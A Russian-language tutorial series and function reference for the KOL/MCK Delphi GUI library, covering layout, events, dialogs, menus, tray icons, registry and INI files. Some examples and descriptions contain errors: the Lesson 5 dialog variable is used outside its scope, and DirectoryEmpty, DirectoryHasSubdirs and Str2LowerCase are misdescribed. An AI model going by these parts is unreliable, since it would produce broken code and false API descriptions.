Options могут быть следующие:

Многие свойства схожи со свойствами ListBox.

ProgressBar.

Аналог TProgressBar из VCL.

function NewProgressbar(AParent: PControl): PControl;
function NewProgressbarEx(AParent: PControl; Options: TProgressbarOptions): PControl;

NewProgressBarEx -это расширенный прогрессбар. Его Options могут принимать следующие значения:

Основные свойства этих элементов: MaxProgress - максимальный диапазон "бегунка" Progress - текущее положение.

Урок 3 - Чтоб все было опрятно или расположение обьектов на форме.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Обсудим свойства отвечающие за расположение объектов на форме.

Свойства Width и Height отвечают за длину и высоту соответственно. Если вам надо поменять одновременно длину и высоту можно воспользоваться SetSize(w,h:integer). Бывают случаи, что объект может выходить за пределы своего родительского объекта, тогда можно воспользоваться свойством Size(w,h:integer). Оно устанавливает размер родительского объекта, таким же, как и самого объекта. Например:

var
  Form, Button: PControl;
begin
   Form  := NewForm(Applet, 'Пример');
   Button := NewButton(form, 'Кнопка').Size (120, 50);
   Run(Form);
end.

Приведет к следующему результату.

CenterOnParent - размещает объект посередине родительского. Для изменения размера родительского объекта по контуру объекта, применяют также свойства ResizeParent (по правой и нижней стороне объекта), ResizeParentRight (по правой стороне), ResizeParentBottom (по нижней).

Таким образом REdit.Size(120,50) имеет такой же результат как совместное действие строк: REdit.SetSize(120,50) ; REdit.ResizeParent;

В VCL у некоторых объектов есть свойство Align. Его аналоги в KOL это Align:TControlAlign и SetAlign(AAlign:TControlAlign). TControlAlign может принимать следующие значения: caNone, caLeft, caTop, caRight, caBottom, caClient

В KOL также есть группа свойств, которые описывают положение объекта относительно объекта который был создан первым. PlaceRight (справа относительно первого), PlaceDown (снизу), PlaceUnder (абсолютно под первым объектом) На рис.1 (PlaceDown) и рис.2 (PlaceUnder) показана разница между этими свойствами:

var
  Form, cont, cont1: PControl;
...
form := NewForm(Applet,'Пример');
form.SetSize(130, 140);
cont := NewPanel(form, esRaised).Shift(20, 0).SetSize(50, 50);
cont1 := NewPanel(form, esRaised).SetSize(50, 50);
cont1.PlaceDown; // на этом месте может быть и cont1.PlaceUnder

рис.1(PlaceDown)	рис.2(PlaceUnder)

Перемещать объект на форме можно обращаясь к свойствам Left и Top (отступ от левого - верхнего угла в лево и вниз соответственно). Чтобы изменить одновременно эти свойства, надо воспользоваться свойством Shift(dX,dY:integer).

И так подведем итог:

Урок 4 - Hello World или Обработка событий в KOL.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Конечно кнопки и панели на форме - это хорошо, но они должны реагировать на действия совершаемые пользователем. Этим мы и займемся. Смысл "обработки" действий такой же как и в VCL. К определенному действию над объектом, "привязывают" процедуры, которые и совершают полезную работу. Привязка идет через свойства, названия которых начинаются на OnXXXXXX: OnClick,OnResize,OnMouseDblClk,OnClose... Это довольно привычно.

Через эти свойства вы и должны сделать указатель с помощью функции MakeMethod на процедуру (или функцию если дело касается Message), которая будет обрабатывать событие. В параметрах у процедур должны быть определенные данные. В таблице показаны, какие должны быть заголовки процедур при определенных типах событий (конечно здесь описаны не все события).

Например:

procedure ButtonDn( Sender: PControl; var Mouse: TMouseEventData );
begin
// обработка
end;
...
Button := NewButton(Form, 'Кнопка');
// указываем на процедуру ButtonDn обрабатывающую событие OnMouseDown
// имеющее тип TOnMouse:
Button.OnMouseDown := TOnMouse( MakeMethod( nil, @ButtonDn ) );

Исходя из полученных знаний, давайте напишем программу, выводящую сообщение ( например: Hello World !!! ) при каком нибудь действии.

procedure ClikButton( Dummy : Pointer; Sender: PControl );
begin
 MsgOK( 'Hello World!!!' );
end;
var
  form, button: PControl;
begin
  form := NewForm( Applet, 'Пример' );
  button := NewButton( form, 'Hello !!!' ).Size(150, 50);
  button.OnClick := TOnEvent(MakeMethod( nil, @ClikButton ));
  run(form);
end.

Урок 5 - Стандартные диалоги.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

В основе диалогов лежат совсем другие объекты, чем PControl (для каждого свой). KOL предлагает для работы 3 вида диалога.

Их конструкторы:

NewOpenSaveDialog( const Title, StrtDir: String; Options: TOpenSaveOptions ): POpenSaveDialog;

Title - заголовок диалога StrDir - начальная директория для работы.

В Options может быть следующее:

Для диалога открытия файла (Open File), надо свойство OpenDialog установить в true, и соответственно для диалога сохранения файла OpenDialog := false. В остальном, этот диалог идентичен своему VCL аналогу.

NewOpenDirDialog( const Title: String; Options: TOpenDirOptions ): POpenDirDialog;

Title - заголовок диалога.

В Options может быть следующее:

Выбранный путь можно узнать через свойство Path.

NewColorDialog( FullOpen: TColorCustomOption ): PColorDialog;

В FullOpen следующее:

Пример: небольшой и мало функциональный, но текстовый редактор ;-).

program Primer;
uses
  Windows,
  messages,
  KOL;
{$R *.RES}
var
  form,
  PanTools,
  REdit,
  butOpen,
  butSave : PControl;
procedure clikButOpenSave(Dummy : Pointer; Sender : PControl);
var
  Dialog : POpenSaveDialog;
  title : string;
begin
  if sender = butOpen then  //определяем что за кнопка 
  begin
    Dialog.title := 'Открыть';
    Dialog.OpenDialog := TRUE;
    REdit.Clear;
  end
  else
  begin
    Dialog.title := 'Сохранить как...';
    Dialog.OpenDialog := FALSE;
  end;
  if Dialog.Execute then
  if sender = butOpen then
    REdit.RE_LoadFromFile(Dialog.Filename, reText, false)
  else
    REdit.RE_SaveToFile(Dialog.Filename, reText,false);
    form.StatusText[0] := PChar(Dialog.Filename);
end;
begin
  form := NewForm(Applet, 'Редактор');
  Dialog := NewOpenSaveDialog(title, '',[]) ;
  panTools := NewPanel(form, esRaised).SetAlign(caTop);
  panTools.Height := 35;
  REdit := NewRichEdit(form, []).SetAlign(caClient);
  butOpen := NewButton(panTools, 'Open').SetSize(50, 25);
  butSave := NewButton(panTools, 'Save as').SetSize(60, 25).PlaceRight;
  butOpen.OnClick := TOnEvent(MakeMethod(nil, @clikButOpenSave));
  butSave.OnClick := TOnEvent(MakeMethod(nil, @clikButOpenSave));
  run( form );
end.

Урок 6 - Меню - как много в этом слове.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Почти в любой программе есть меню. И у нас оно тоже будет. Меню создается на объектах типа pMenu.

function NewMenu( AParent: PControl; FirstCmd: Integer; const Template: array of PChar; aOnMenuItem: TOnMenuItem ): PMenu;

В AParent вы указываете к чему будет принадлежать меню. Если вы указали форму, то для нее это будет главное меню.

Template - это массив, состоящий из пунктов меню. В этих пунктах могут встречаться специальные символы. Вот их список:

Через aOnMenuItem указывается процедура, обрабатывающая выбранный пункт меню.

Описание некоторых свойств меню.

Давайте добавим в наш редактор пару пунктов меню:

program Primer;
uses
 Windows,
 messages,
 KOL;
{$R *.RES}
var
  Form,
  PanTools,
  REdit,
  butOpen,
  butSave : PControl;
  mainMenu : pMenu;
  Dialog : pOpenSaveDialog;
procedure clikButOpenSave( Dummy : Pointer; Sender : PControl );
var
  title : string;
begin
  if sender = butOpen then
  begin
    Dialog.title := 'Открыть';
    Dialog.OpenDialog := TRUE;
    REdit.Clear;
  end
  else
  begin
    Dialog.title := 'Сохранить как...';
    Dialog.OpenDialog := FALSE;
  end;
  if Dialog.Execute then
  if sender = butOpen then
    REdit.RE_LoadFromFile(Dialog.Filename, reText, false)
  else
    REdit.RE_SaveToFile(Dialog.Filename, reText, false);
  form.StatusText[0] := PChar(Dialog.Filename);
end;
procedure ProcessingMenu ( Dummy : Pointer; Sender : pMenu; Item : Integer );
  //обработка пунктов меню
begin
  case Item of
    1: begin {NEW}
       REdit.Clear;
       form.StatusText[0] := '';
     end;
    2: clikButOpenSave(nil, butOpen); {Open}
    3: clikButOpenSave(nil, butSave); {Save As}
    4: Applet.Close; {Exit}
  end;{case}
end;
begin
  form := NewForm( Applet, 'Редактор' );
  panTools := NewPanel( Form, esRaised ).SetAlign( caTop );
  panTools.Height := 35 ;
  REdit := NewRichEdit( Form, [] ).SetAlign(caClient);
  butOpen := NewButton( panTools, 'Open' ).SetSize(50, 25);
  butSave := NewButton( panTools, 'Save as' ).SetSize(60, 25).PlaceRight;
  Dialog := NewOpenSaveDialog( '', '', [] );
  mainMenu := NewMenu(Form, 0,
    [
    'File',
    '(',
    'New',
    'Open',
    'Save As..',
    '-',
    '&Exit',
    ')'
    ],
    TOnMenuItem( MakeMethod( nil, @ProcessingMenu ))
    );
  butOpen.OnClick := TOnEvent( MakeMethod( nil, @clikButOpenSave ));
  butSave.OnClick := TOnEvent( MakeMethod( nil, @clikButOpenSave ));
  Run( Form );
end.

Результат:

Урок 7 - Программа в трее с легкостью.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Часто можно услышать вопрос : как сделать так, чтобы программа была видна и в трее (рядом с часами) ? Конечно и на VCL это возможно сделать, но в KOL это реализуется очень просто. Для этого у него есть объект TTrayIcon. Воспользовавшись им, вы получите маленькую программу (а не VCL-монстра) с иконкой в трее.

function NewTrayIcon( AParent: PControl; Icon: HIcon): PTrayIcon;

Icon - это иконка, которая будет у нас грузится из ресурса созданного например с помощь Image Editor, или BRCC32.EXE, ну или другой утилиты (я очень рекомендую Resource Builder). Скомпонованный файл с расширением .res помещаем в каталог с нашей программой. В тексте программы должно быть прописано, что программа компилируется вместе с ресурсами: {$R *.res} . Сама иконка грузится из ресурса через API ф-цию LoadIcon.

Также для значка в трее мы должны создать Applet. Совсем не обязательно чтобы этот Applet был родительским объектом окна.

Лучше тысячи слов может быть наглядней только пример. Напишем утилиту облегчающую программирование на KOL.

programm KOLProcedure;
uses
  Windows,
  Messages,
  Kol;
{$R *.RES}
var
  frmMain,
  Panel: pControl;
  Tray: pTrayIcon;
  Menu: pMenu;
//////////////////////////////////////////////////////////
procedure DoTrayMouse(Dummy: Pointer; Sender: TObject; Message: Word);
var
  P: TPoint;
begin
  if Message = WM_LBUTTONUP then
  begin
    GetCursorPos(P); // узнаем позицию курсора
    Menu.PopUp(P.X,P.Y); // выводим в этой позиции меню
  end;
end;
//////////////////////////////////////////////////////////
procedure DoWorkMenu(Dummy: Pointer; Sender: pMenu; Item: Integer);
begin
  case Item of
    0: Text2Clipboard('Procedure NameProc ( Dummy : Pointer; Sender: PControl );') ;
    1: Text2Clipboard('Procedure NameProc ( Sender: PObj; var Accept: Boolean );') ;
    2: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Mouse: TMouseEventData );') ;
    3: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Key: Longint; Shift: DWORD );') ;
    4: Text2Clipboard('Procedure NameProc ( Sender: PControl; var Key: Char; Shift: DWORD );') ;
    5: Text2Clipboard('Procedure NameProc ( Sender : PMenu; Item :Integer );') ;
    6: Text2Clipboard('Function NameFunc ( var Msg: TMsg; var Rslt:Integer ): Boolean;') ;
    7: Applet.Close;
    8: MsgOK('8');
  end; {case}
end;
//////////////////////////////////////////////////////////
begin
  Applet := NewApplet('KOL Procedure');
  frmMain := NewForm(nil, 'KOL Procedure');
  frmMain.Icon := LoadIcon(hInstance, 'MainIco');
  frmMain.Hide; // прячем главное окно
  Panel := NewPanel(frmMain, esNone);
  Menu := NewMenu(Panel, 0,
   [ 'TOnEvent',
     'TOnEventAccept',
     'TOnEventAccept',
     'TOnKey',
     'TOnChar',
     'TOnMenuItem',
     'TOnMessage',
     '-',
     'Exit' ],
    TOnMenuItem( MakeMethod( nil, @DoWorkMenu ))
    );
    Tray := NewTrayIcon(Panel, frmMain.Icon); // иконка в трее - аналог иконки на форме
    Tray.OnMouse := TOnTrayIconMouse( Makemethod( nil, @DoTrayMouse ));
    Run(frmMain);
   end.

Урок 8 - Работа с реестром.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Сейчас уже стало стандартом, что настройки программы, важные (да и не очень) параметры храняться в реестре Windows. По этой причине и в KOL существует поддержка работы с реестром. Нельзя сказать, что эти инструменты такие же мощные, как и TRegister в VCL, но необходимый минимум найдется.

Работа с регистром в KOL построена с помощью функций. Их список я привожу в таблице с кратким описанием (хотя человек знакомый с TRegister поймет их и так).

После того как вы открыли ключ, вы можете записывать и читать данные. Ну и логическое завершение всего процесса - это команда RegKeyClose, т.е. закрытие ключа, если он вам больше не нужен.

program Primer_1; 
 
uses 
  windows, 
  messages, 
  kol; 
 
{$R *.RES} 
const 
 KeyWin = 'SOFTWARE\Microsoft\Windows\CurrentVersion'; 
 
var 
 Form, 
 edOption, 
 buOption, 
 List, 
 panTop:pControl; 
 Key:HKey; 
 
/////////////////////////////////////////////////////////// 
Procedure ClickOnList( Dummy : Pointer; Sender : PControl ); 
begin 
 // чтение из реестра 
 Key := RegKeyOpenRead(HKEY_LOCAL_MACHINE,KeyWin); 
 edOption.Text := RegKeyGetStr(Key,List.Items[List.CurIndex]); 
 RegKeyClose(Key); 
end; 
/////////////////////////////////////////////////////////// 
Procedure ClickOnButton( Dummy : Pointer; Sender : PControl ); 
begin 
 // запись в реестра
 if edOption.Text='' then exit; 
 Key := RegKeyOpenWrite(HKEY_LOCAL_MACHINE,KeyWin); 
 RegKeySetStr(Key,List.Items[List.CurIndex],edOption.Text); 
 RegKeyClose(Key); 
end; 
/////////////////////////////////////////////////////////// 
 
begin 
 Form := NewForm(Applet,'Пример работы с реестром').SetSize(400,200); 
 
 // можно было обойтись и Form.CanResize := false 
 Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; 
 
 Form.Font.FontName := 'MS Sans Serif'; 
 Form.Font.FontHeight := 8; 
 
 panTop := NewPanel(Form,esRaised).SetAlign(caTop); 
 edOption := NewEditbox(panTop,[]); 
 buOption := NewButton (panTop,'Применить').PlaceRight; 
 buOption.OnClick := TOnEvent( MakeMethod( nil, @ClickOnButton ) ); 
 
 List := NewListbox(Form,[]).SetAlign(caClient); 
 List.Add('ProductId'); 
 List.Add('ProductName'); 
 List.Add('RegisteredOrganization'); 
 List.Add('RegisteredOwner'); 
 List.Add('Version'); 
 List.Add('VersionNumber'); 
 List.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList ) ); 
  
 // ----- Наводим красоту жонглируя с размерами.-------- 
 //  Можно и не вникать :) 
 edOption.Width := panTop.Width - buOption.Width-10; 
 buOption.Left := edOption.Width+ 4 ; 
 panTop.Height := edOption.Height+10; 
 //----------------------------------------------------- 
 
 Run(Form); 
end. 

Если вы читали мои предыдущие монологи про KOL, вам должно быть в основном все понятно. Не говорил я только про свойства Font.FontName и Font.FontHeight, но тут можно вполне догадатся, что мы меняем параметры шрифта.

Урок 9 - Работа с INI файлами.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Если вы не являетесь любителем забивать свои и чужие реестры мегабайтами мусора, или просто не надеетесь на сохранность информации в нем (когда нибудь Windows наверняка умрет), то вам надо обратить свои взоры на старые добрые Ini-файлы.

В KOL работа с ini организованна с помощью объекта TIniFile. Для того чтобы открыть ini-файл (и одновременно создать TIniFile), надо воспользоваться функцией OpenIniFile. Свойство Mode отвечает за то, что вы будете делать с ini файлом : производить запись или чтение. Для записи вы должны прировнять Mode к ifmWrite, и соответственно для чтения к ifmRead. По умолчанию (при открытии) Mode = ifmRead, т.е. для чтения.

Для чтения/записи данных из ini используют 4 функции. Их описание приведено в таблице :

program Primer_2; 
 
uses 
  windows, 
  messages, 
  kol; 
 
var 
 Form, 
 panTop, 
 buWrite, 
 edDan,edName, 
 List1,List2 : pControl; 
 dialog : pOpenSaveDialog; 
 strList : pStrList; 
 ini : pIniFile; 
 i : integer; 
 
/////////////////////////////////////////////////////////////////////
// обработка клика по кнопке "записать "
Procedure ClickOnBuWrite( Dummy : Pointer; Sender : PControl ); 
begin 
  if edName.Text = '' then Exit; 
  ini.Mode := ifmWrite; 
  ini.ValueString(edName.Text, edDan.text); 
  ini.Mode := ifmRead; 
end; 
///////////////////////////////////////////////////////////////////// 
Procedure ClickOnList2( Dummy : Pointer; Sender : PControl ); 
var 
  s : string; 
  i : integer; 
begin 
  s := List2.Items[List2.CurIndex]; 
  i := IndexOfChar(s, '='); 
  edName.Text := Copy(s, 0, i - 1); 
  edDan.Text := CopyEnd(s, i + 1); 
end; 
///////////////////////////////////////////////////////////////////// 
Procedure ClickOnList1( Dummy : Pointer; Sender : PControl ); 
var 
  j : integer; 
begin 
  edName.Clear ; 
  edDan.Clear ; 
  j := List1.CurIndex; 
  // заносим в List2 данные, которые находятся в j-ой секции 
  strList.Clear ; 
  List2.Clear ; 
  ini.Section := List1.Items[j]; 
  ini.SectionData(strList); 
  for i := 0 to strList.Count-1 do 
    List2.Items[i]:=strList.Items[i]; 
end; 
///////////////////////////////////////////////////////////////////// 
begin 
  Applet := NewApplet('Пример #2'); 
 
  dialog := NewOpenSaveDialog('Выбор ini', '', []); 
  dialog.Filter := '*.ini|*.ini|все|*.*'; 
  dialog.OpenDialog := true; 
  if dialog.Execute then 
    ini := OpenIniFile(dialog.Filename) 
  else 
    exit; 
 
  //----------- делаем интерфейс ------------------------ 
  Form := NewForm(Applet, 'Работа с Ini файлами').setSize(400, 300); 
  Form.Font.FontName := 'MS Sans Serif'; 
  Form.Font.FontHeight := 9; 
  Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; 
 
  panTop := NewPanel(Form, esRaised ).SetAlign(caTop) ; 
  panTop.Height := 60 ; 
  buWrite := NewButton(panTop, 'Записать'); 
  buWrite.OnClick := TOnEvent( MakeMethod( nil, @ClickOnBuWrite ) ); 
  
  edName := NewEditBox(panTop,[eoReadOnly]).PlaceDown; 
  edDan := NewEditBox(panTop, []).PlaceRight; 
  edDan.Width := Form.Width - edName.Width - 30; 
  
  strList:= NewStrList; 
 
  List1 := NewListBox(Form,[]).setAlign(caLeft); 
  List2 := NewListBox(Form,[]).setAlign(caClient); 
  //--------------------------------------------------- 
 
  // заносим в List1 список секций 
  ini.GetSectionNames(strList); 
  for i := 0 to strList.Count - 1 do 
    List1.Items[i] := strList.Items[i]; 
 
  List1.OnChange := TOnEvent( MakeMethod( nil, @ClickOnList1 ) ); 
 
  // показываем данные из 0-ой секции 
  List1.CurIndex := 0; 
  ClickOnList1(nil, nil); 
 
  List2.OnClick := TOnEvent( MakeMethod( nil, @ClickOnList2 ) ); 
  run(Applet); 
end.

Справочник по KOL - Вывод сообщений.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Procedure MsgOK( const S: String ); Самый простой способ для вывода сообщений пользователю. Заголовок приравнивается к Applet.Caption (или 'Error' если Applet не запущен).

Function ShowMsg( const S: String; Flags: DWORD ): DWORD; Упрощенный для использования MessageBox. Поэтому подробное описание Flags и возвращаемых значений можете посмотреть в Win32.hlp или в конце этого раздела (но без описания).

Procedure ShowMessage( const S: String ); ShowMsg с Flags равным MB_OK or MB_SETFOREGROUND.

Procedure ShowMsgModal( const S: String ); Процедура будет вам полезна, если вам надо вывести большое количество информации в модальном окне. Окно имеет фиксированную ширина 400 пикселей и текст в нем автоматически переносится на другую строку. Окно выводится посередине экрана с заголовком 'Information'.

Function SysErrorMessage( ErrorCode: Integer ): string; Создает и возвращает строку, содержащую форматированное системное сообщение об ошибке. Вы можите отобразить это сообщение на экране или записать в файл. Например, вы хотите вывести это сообщение на экран: ShowMsg( SysErrorMessage( GetLastError ) );

Справочник по KOL - Системные функции.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function ExecuteWait( const AppPath, CmdLine, DfltDirectory: String; Show: DWORD; TimeOut: DWORD; ProcID: PDWORD ): Boolean; Запускает приложение и ждет его выполнения. TimeOut - сколько времени должно выполнятся приложение. Если за это время приложение не закончило свою работу, то функция возвращает true и ProcID приравнивается к nil. В случае если TimeOut = INFINITE, то время ожидания окончания работы не определено (предполагается, что когда нибудь оно и закроется). AppPath, CmdLine, DfltDirectory - имя приложения, параметры с которыми оно запускается и рабочая директория Show - это SW_SHOW, SW_HIDE или любая другая SW_XXX константа ProcID - хендл запущенного процесса.

Function GetStartDir: String; Возвращает путь до вашего приложения.

Function GetTempDir: string; Возвращает путь до временного каталога (С:\WINDOWS\TEMP).

Function GetWindowsDir: string; Возвращает директорию в которой находится Windows.

Function WinVer: TWindowsVersion; Возвращает текущую версию Windows TWindowsVersion может иметь следующие значения: wv31, wv95, wv98, wvNT, wvY2K.

Function IsWinVer( Ver: TWindowsVersions ): Boolean; Возвращает true если указанная версия Ver Windows работает на данной машине.

Справочник по KOL - Функции преобразования типов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function Int2Hex( Value: DWord; Digits: Integer ): String; Конветирует Value типа integer в строку составленную из символов цифр в шестеричном исчисление. Параметр Digits определяет минимальное количество цифр.

Function Int2Str( Value: Integer ): String; Конвертирует Value типа integer в строку.

Function Int2Ths( I: Integer ): String; Конвертирует Value типа integer в строку. Между тремя цифрами ставится символ: ',' (удобна для вывода цифр больше тысячи).

Function Int2Digs( Value, Digits: Integer ): String; Преобразование integer в string. Digits - указывает сколько минимально символов в строке. Если Digits больше количества цифр в Value то недостающие цифры заменяются нулями.

Function Num2Bytes( Value: Double ): String; Преобразование Value в строку исходя из того, что Value это количество байт. Если Value достаточно большое, число представляется в виде килобайт (с буквой K в конце), или мегабайт (M), гигабайт (G) или терабайт (T).

Function Str2Int( const Value: String ): Integer; Перевод Value типа string в integer.

Function Hex2Int( const Value: String ): Integer; Перевод шестеричного числа в integer. Value конвертируется до первого символа не входящую в шестеричные цифры.

Справочник по KOL - Работа со строками.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function AnsiEq( const S1, S2: String ): Boolean; Возвращает true, если AnsiLowerCase(S1) = AnsiLowerCase(S2) т.е сравнивает 2 строки без учета регистра. Данная функция подойдет только для русских символов. function DelimiterLast( const Str, Delimiters: String ): Integer; Функция ищет в строке Str последнее вхождение строки Delimiters и возвращает номер символа с которого он идет. Если Delimiters не найден возвращается длина Str.

Function AnsiUpperCase( const S: string ): string; Преобразует символы в строке S к верхнему регистру.

Function AnsiLowerCase( const S: string ): string; Преобразует символы в строке S к нижнему регистру.

Function AnsiCompareStr( const S1, S2: string ): Integer; Сравнивает две строки ANSI S1 и S2 без учета регистра. Возвращает значение < 0, если S1 < S2, 0, если S1 = S2, и > 0, если S1 > S2.

Function _AnsiCompareStr( S1, S2: PChar ): Integer; Аналог AnsiCompareStr только для PChar.

Function CopyEnd( const S: String; Idx: Integer ): String; Копирует строку из строки S с Idx символа до последнего.

Function CopyTail( const S: String; Len: Integer ): String; Возвращает последние Len символа из строки S. Если Len > Length( S ), возвращается вся строка S.

Procedure DeleteTail( var S: String; Len: Integer ); Удаляет последние Len символа из строки.

Function LowerCase( const S: string ): string; Преобразует символы в строке S к нижнему регистру. Только для латинских символов.

Procedure NormalizeUnixText( var S: String ); В строке S происходит замена всех символов #10 на символ #13.

Function IndexOfChar( const S: String; Chr: Char ): Integer; Возвращает положение символа Chr в строке S. Возвращаемое значение может быть то 1 до Length(S), если возвращается -1 то символ не найден.

Function IndexOfCharsMin( const S, Chars: String ): Integer; Возвращает положение ближайшего от начала(строки) символа Chr в строке S. Если возвращается -1 то символ не найден.

Function IndexOfStr( const S, Sub: String ): Integer; Возвращает положение строки Sub в строке S. Возвращаемое значение может быть то 1 до Length(S)-Length(Sub), если возвращается -1 то строка не найдена.

Function Parse( var S: String; const Separators: String ): String; Функция ищет в строке S строку Separators и возвращает все что шло до этого разделителя (т.е. до Separators). В строке S удаляется возвращаемая часть и найденный Separators. Т.е. если S= '1-2-3',а Separators= '-' то при первом вызове на выходе '1' , а S='2-3' Если в S нет Separators то возвращаемое значение рано S, а сама S становится пустой.

Function StrEq( const S1, S2: String ): Boolean; Возвращает true, если LowerCase(S1) = LowerCase(S2) т.е сравнивает 2 строки без учета регистра. Данная функция подойдет только для латинских символов.

Function StrIn( const S: String; A: array of String ): Boolean; Функция возвращает True если в одна из строк массива А равна строке S. Спавнение идет с помощью функции StrEq поэтому оно не чуствительно к регистру букв.

Function StrSatisfy( const S, Mask: String ): Boolean; Возвращает True если строка S соответствует маске Mask. Строка Mask может содержать символ '*' (любое количество любых символов) и '?' (один любой символ). Например чтобы проверить содержит ли S адрес почты надо : StrSatisfy(S,'*@*.*');

Function StrReplace( var S: String; const From, ReplTo: String ): Boolean; Производит замену в строке S первой встреченной строки From на строку ReplTo. Если замена произошла успешно возвращает True.

Function StrPCopy( Dest: PChar; const Source: string ): PChar; Копирует паскалевскую строку в строку типа PChar.

Function StrLCopy( Dest: PChar; const Source: PChar; MaxLen: Cardinal ): PChar; Копирует первые MaxLen символов из паскалевсокой строки в строку типа PChar.

Function StrComp( const Str1, Str2: PChar ): Integer; Быстрое сравнение 2-х строк. На выходе -1: Str1<Str2; 0: Str1=Str2; +1: Str1>Str2.

Function StrLComp( const Str1, Str2: PChar; MaxLen: Cardinal ): Integer; Сравнивает до MaxLen символов двух строк Str1 и Str2 с учетом регистра. Возвращает значение < 0, если Str1 < Str2, 0, если Str1 = Str2, и > 0, если Str1 > Str2.

Function StrCopy( Dest, Source: PChar ): PChar; Функция производит быстрое копирование строки Source в Dest и возвращает Dest.

Function StrLen( const Str: PChar ): Cardinal; Функция возвращает число символов в строке Str, не учитывая конечного нулевого символа.

Function StrScanLen( Str: PChar; Chr: Char; Len: Integer ): PChar; Быстрое сканирование строки Str длиной Len на нахождение в нем первого символа Chr . Если Chr не входит в Str, возвращается nil.

Function StrScan( Str: PChar; Chr: Char ): PChar; Полный аналог предыдущей функции только сканирование происходит всей строки Str до последнего символа.

Function StrRScan( const Str: PChar; Chr: Char ): PChar; Возвращает указатель на последнее вхождение символа Chr в строку Str. Если Chr не входит в Str, возвращается nil.

Function StrIsStartingFrom( Str, Pattern: PChar ): Boolean; Возвращает True если строка Str начинается со строки Pattern, то есть если Copy( Str, 1, StrLen( Pattern ) ) = Pattern.

Procedure Str2LowerCase( S: PChar ); Переводит символы в нуль-терминальной строке в верхней регистр.

Function TrimLeft( const S: string ): string; Удаляет из начала строки S пробелы и управляющие символы.

Function TrimRight( const S: string ): string; Удаляет в конца строки S пробелы и управляющие символы.

Function Trim( const S: string ): string; Удаляет в конца и в начале строки S пробелы и управляющие символы.

Function UpperCase( const S: string ): string; Преобразует символы в строке S к верхнему регистру. Только для латинских символов.

Function WStrReplace( var S: WideString; const From, ReplTo: WideString ): Boolean; Производит замену в строке S первой встреченной строки From на строку ReplTo. Если замена произошла успешно возвращает True. Анналог функции StrReplace только для WideString (поэтому в Delphi 2 не будет).

Function WStrLen( W: PWideChar ): Integer; Возвращает длину строки типа PWideChar.

Procedure WStrCopy( Dest, Src: PWideChar ); Копирует строку Dest тип PWideChar в Src.

Function WStrCmp( W1, W2: PWideChar ): Integer; Сравнивает 2-е строки тип PWideChar. На выходе тоже что и у StrComp.

Function Clipboard2Text: String; Возвращает из буфера обмена текст.

Function Text2Clipboard( const S: String ): Boolean; Помещает в буфер обмена текст.

Справочник по KOL - Работа с файлами.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function DirectoryExists( const Name: string ): Boolean; Возвращает Тгие если директория существует.

Function DirectoryEmpty( Name: string ): Boolean; Возвращает Тгие если директория не существует.

Function DirectoryHasSubdirs( const Path: string ): Boolean; Возвращает True если директория Path существует и не имеет подкаталоги.

Function CheckDirectoryContent( const Path: string; SubDirsOnly: Boolean; const Mask: string ): Boolean; Возвращает TRUE если директория Path не содержит файлов (или каталогов если вы установили SubDirsOnly = true) с определенной маской.

Function IncludeTrailingPathDelimiter( const S: string ): string; Добавляет символ '\' в конец строки если он там не присутствует.

Function ExcludeTrailingPathDelimiter( const S: string ): string; Удаляет из конца строки символ '\' если он там присутствует.

Procedure ForceDirectories( Dir: String ); Создает каталог Dir если он не существует. Если нужно то создает и подкаталоги для этого каталога.

Function CreateDir( const Dir: string ): Boolean; Создает каталог.

Function ExtractShortPathName( const Path: String ): String; Из длиного пути создает короткий путь.То есть если у вас D:\Program Files\Borland\Delphi 3 то будет D:\PROGRA~1\BORLAND\DELPHI~1.

Function ExtractFileNameWOext( const Path: String ): String; Из полного пути к файлу выделяет имя файла без расширения. То есть если у вас на входе D:\Program Files\Borland\Delphi 3\prog\api.txt на выходе : api.

Function FileFullPath( const FileName: String ): String; Из короткого пути создает длинный путь.

Function FileShortPath( const FileName: String ): String; Из длинного пути создает короткий путь.

Function FileSize( const Path: String ): Integer; Возвращает размер файла.

Function GetUniqueFilename( PathName: string ): String; Создает уникальное имя файла на основе существующего PathName. Например у вас файл aaa.txt то на выходе получится aaa1.txt , aaa2.txt ...

Function DiskFreeSpace( const Path: String ): Int64; Возвращает свободное место на диске. В Path должен находится путь до корневой директории, например : 'C:\'.

Взаимодействие с системой - Linux API и Qt Library.

